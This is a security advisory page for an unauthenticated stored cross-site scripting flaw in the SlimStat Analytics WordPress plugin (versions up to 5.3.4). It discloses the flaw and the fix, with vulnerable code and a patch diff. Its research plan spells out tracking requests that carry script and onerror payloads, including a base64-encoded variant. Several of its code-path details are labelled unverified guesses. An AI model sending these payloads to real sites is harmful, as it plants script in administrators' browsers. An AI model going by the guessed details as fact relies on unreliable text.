CVE-2025-15055

SlimStat Analytics <= 5.3.4 - Unauthenticated Stored Cross-Site Scripting via 'notes/resource' Parameters

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.3.5
Patched in
1d
Time to patch

Description

The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'notes' and 'resource' parameters in all versions up to, and including, 5.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Recent Custom Events report.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.3.4
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected pluginwp-slimstat

What Changed in the Fix

Changes introduced in v5.3.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps for demonstrating the unauthenticated stored cross-site scripting (XSS) vulnerability in SlimStat Analytics (CVE-2025-15055). ## 1. Vulnerability Summary SlimStat Analytics (versions <= 5.3.4) fails to sufficiently sanitize and escape the `notes` and `resource`…

Show full research plan

This research plan outlines the steps for demonstrating the unauthenticated stored cross-site scripting (XSS) vulnerability in SlimStat Analytics (CVE-2025-15055).

1. Vulnerability Summary

SlimStat Analytics (versions <= 5.3.4) fails to sufficiently sanitize and escape the notes and resource parameters when processing tracking requests. These parameters are stored in the database (typically in the wp_slim_events table) and later rendered without proper output neutralization in the Recent Custom Events report within the WordPress admin dashboard. This allows an unauthenticated attacker to inject malicious JavaScript that executes when an administrator views the report.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (for AJAX-based tracking) or wp-json/wp-slimstat/v1/track (for REST-based tracking).
  • Action: slimstat_tracking (the primary tracking action).
  • Vulnerable Parameters: notes and resource.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active and tracking must be enabled (default behavior).

3. Code Flow

  1. Entry Point: An unauthenticated visitor (or bot) sends a request to admin-ajax.php?action=slimstat_tracking.
  2. Processing: In wp-slimstat.php, slimtrack_ajax() is called. It retrieves data from self::$raw_post_array.
  3. Storage: The tracking logic (likely within src/wp-slimstat-db.php or a similar provider) processes the parameters. If notes or resource (often mapped to no and re in the payload) are present, they are stored in the events table.
  4. Retrieval: An administrator navigates to the Recent Custom Events report (wp-admin/admin.php?page=slimview1 or similar).
  5. Sink: The report logic in admin/view/wp-slimstat-reports.php (potentially using a callback like show_recent_events) fetches the data from the database and echoes the notes and resource values directly into the HTML table without applying esc_html() or wp_kses().

4. Nonce Acquisition Strategy

SlimStat Analytics generally allows unauthenticated tracking without a strict nonce to ensure compatibility with caching plugins and various tracking environments. However, if a nonce is required by the specific version/configuration, it is localized in the front-end.

Strategy:

  1. Navigate to the homepage.
  2. Search for the JavaScript variable SlimStatParams.
  3. Extract the nonce if it exists.

Browser Eval Command:

// Check for standard localization variable
window.SlimStatParams?.nonce || window.SlimStatParams?.extensions?.nonce || "";

5. Exploitation Strategy

The goal is to send a "Custom Event" tracking request containing the XSS payload. SlimStat usually expects events to have at least a category and an action.

HTTP Request (AJAX Method):

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=slimstat_tracking
    &ca=TestCategory
    &ac=TestAction
    &notes=<script>alert('XSS_NOTES')</script>
    &resource=<img src=x onerror=alert('XSS_RESOURCE')>
    

Alternative (REST API Method):

  • URL: {{BASE_URL}}/wp-json/wp-slimstat/v1/track
  • Method: POST
  • Content-Type: application/json
  • Body:
    {
      "category": "TestCategory",
      "action": "TestAction",
      "notes": "<script>alert('XSS_NOTES')</script>",
      "resource": "<img src=x onerror=alert('XSS_RESOURCE')>"
    }
    

6. Test Data Setup

  1. Plugin Installation: Ensure wp-slimstat version 5.3.4 is installed and activated.
  2. Configuration: Verify "Enable Tracking" is 'on' in SlimStat > Settings > Tracker.
  3. Report Access: Note that the "Recent Custom Events" report may need to be added to the dashboard view if not present by default. It is usually found under SlimStat > Reports.

7. Expected Results

  1. The tracking request should return a 200 OK or 204 No Content response.
  2. The database table (likely wp_slim_events) should contain a new row with the notes and resource payloads.
  3. When an administrator visits the SlimStat reports page, an alert box with XSS_NOTES or XSS_RESOURCE should appear.

8. Verification Steps

After sending the exploit request, verify the storage via WP-CLI:

# Check if the event was recorded in the events table
wp db query "SELECT notes, resource FROM $(wp db prefix)slim_events WHERE notes LIKE '%XSS%';"

# Check if the event was recorded in the main stats table (if events are stored there in some versions)
wp db query "SELECT * FROM $(wp db prefix)slim_stats WHERE notes LIKE '%XSS%';"

To verify execution, use the browser_navigate tool to go to the SlimStat Reports page and check for the presence of the script:

# Navigate to the reports page
# Then search for the payload in the DOM
browser_eval "document.body.innerHTML.includes('XSS_NOTES')"

9. Alternative Approaches

If the top-level parameters notes and resource fail, try the abbreviated keys often used by the tracker script:

  • no = notes
  • re = resource
  • ca = category
  • ac = action

Additionally, some versions of SlimStat expect the payload to be a base64-encoded JSON string in a data parameter:

action=slimstat_tracking&data=eyJyZXNvdXJjZSI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfUkVTT1VSQ0UnKTwvc2NyaXB0PiIsICJub3RlcyI6ICI8c2NyaXB0PmFsZXJ0KCdYU1NfTk9URVMnKTwvc2NyaXB0In0=
Research Findings
Static analysis — not yet PoC-verified

Summary

The SlimStat Analytics plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the 'notes' and 'resource' parameters. This occurs because tracking requests containing malicious scripts are stored in the database without sufficient sanitization and later rendered in administrative reports without proper output escaping.

Vulnerable Code

// admin/view/wp-slimstat-reports.php line 1455
foreach ($results as $a_result) {
    echo "<p class='slimstat-tooltip-trigger'>" . $a_result[ 'notes' ];

    if (!empty($a_result['counthits'])) {
        echo sprintf('<span>%s</span>', $a_result[ 'counthits' ]);
    }

    if (!empty($a_result['dt'])) {
        $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);
        echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s%s'>%s%s</a><br>", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);
    }

---

// wp-slimstat.php line 1002
case 'post_link_no_qs':
    $post_id = url_to_postid($a_result['resource']);
    if ($post_id > 0) {
        $output[$result_idx][$a_column] .= sprintf("<a href='%s'>", $a_result[ 'resource' ]) . get_the_title($post_id) . '</a>';
    } else {
        $output[$result_idx][$a_column] .= sprintf("<a href='%s'>%s</a>", $a_result[ 'resource' ], $a_result[ 'resource' ]);
    }
    break;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.4/admin/view/wp-slimstat-reports.php /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.5/admin/view/wp-slimstat-reports.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.4/admin/view/wp-slimstat-reports.php	2025-12-17 11:24:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.5/admin/view/wp-slimstat-reports.php	2025-12-31 08:45:54.000000000 +0000
@@ -1455,15 +1455,15 @@
         }
 
         foreach ($results as $a_result) {
-            echo "<p class='slimstat-tooltip-trigger'>" . $a_result[ 'notes' ];
+            echo "<p class='slimstat-tooltip-trigger'>" . esc_html( $a_result[ 'notes' ] );
 
             if (!empty($a_result['counthits'])) {
-                echo sprintf('<span>%s</span>', $a_result[ 'counthits' ]);
+                echo sprintf('<span>%s</span>', esc_html( $a_result[ 'counthits' ] ));
             }
 
             if (!empty($a_result['dt'])) {
                 $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);
-                echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s%s'>%s%s</a><br>", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);
+                echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s'>%s</a><br>", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);
             }
 
             echo '</b></p>';
@@ -1514,7 +1514,7 @@
                 $a_result['counthits'] = 0;
             }
 
-            $a_result['resource'] = "<a class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this URL in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . "' href='" . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8') . "'></a> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('resource equals ' . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8')) . "'>" . self::get_resource_title($a_result['resource']) . '</a>';
+            $a_result['resource'] = "<a class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . "' href='" . esc_url($a_result['resource']) . "'></a> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('resource equals ' . $a_result['resource']) . "'>" . self::get_resource_title($a_result['resource']) . '</a>';
 
             $group_markup = [];
             if (!empty($a_result['column_group'])) {
@@ -1523,14 +1523,14 @@
                 foreach ($exploded_group as $a_item) {
                     $user = get_user_by('login', $a_item);
                     if ($user) {
-                        $group_markup[] = '<a class="slimstat-filter-link" title="' . __('Filter by element in a group', 'wp-slimstat') . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . get_avatar($user->ID, 16) . $user->display_name . '</a>';
+                        $group_markup[] = '<a class="slimstat-filter-link" title="' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . get_avatar($user->ID, 16) . esc_html( $user->display_name ) . '</a>';
                     } else {
-                        $group_markup[] = '<a class="slimstat-filter-link" title="' . __('Filter by element in a group', 'wp-slimstat') . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . $a_item . '</a>';
+                        $group_markup[] = '<a class="slimstat-filter-link" title="' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . esc_html( $a_item ) . '</a>';
                     }
                 }
             }
 
-            echo sprintf('<p>%s <span>%s</span><br/>', $a_result[ 'resource' ], $a_result[ 'counthits' ]) . implode(', ', $group_markup) . '</p>';
+            echo sprintf('<p>%s <span>%s</span><br/>', $a_result[ 'resource' ], esc_html( $a_result[ 'counthits' ] )) . implode(', ', $group_markup) . '</p>';
         }
 
         if (! defined('DOING_AJAX') || ! DOING_AJAX) {
@@ -1944,7 +1944,7 @@
             }
 
             if ([] !== $term_names) {
-                self::$resource_titles[$cache_index] = implode(',', $term_names);
+                self::$resource_titles[$cache_index] = esc_html( implode(',', $term_names) );
             } else {
                 self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');
             }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.4/wp-slimstat.php /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.5/wp-slimstat.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.4/wp-slimstat.php	2025-12-28 06:28:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-slimstat/5.3.5/wp-slimstat.php	2025-12-31 08:45:54.000000000 +0000
@@ -999,9 +999,9 @@
                             case 'post_link_no_qs':
                                 $post_id = url_to_postid($a_result['resource']);
                                 if ($post_id > 0) {
-                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>", $a_result[ 'resource' ]) . get_the_title($post_id) . '</a>';
+                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>", esc_url( $a_result[ 'resource' ] )) . esc_html( get_the_title($post_id) ) . '</a>';
                                 } else {
-                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>%s</a>", $a_result[ 'resource' ], $a_result[ 'resource' ]);
+                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>%s</a>", esc_url( $a_result[ 'resource' ] ), esc_html( $a_result[ 'resource' ] ));
                                 }
                                 break;

Exploit Outline

An unauthenticated attacker can exploit this vulnerability by sending a tracking request (via Admin-AJAX or the REST API) that includes a malicious XSS payload in the 'notes' or 'resource' parameters. The payload is typically supplied using the action 'slimstat_tracking' with parameters like 'notes' (or 'no') and 'resource' (or 're'). Because the plugin stores these values raw in the database, the payload will execute as arbitrary JavaScript in the context of an administrator's browser when they subsequently view the 'Recent Custom Events' or 'Access Log' reports in the WordPress admin dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.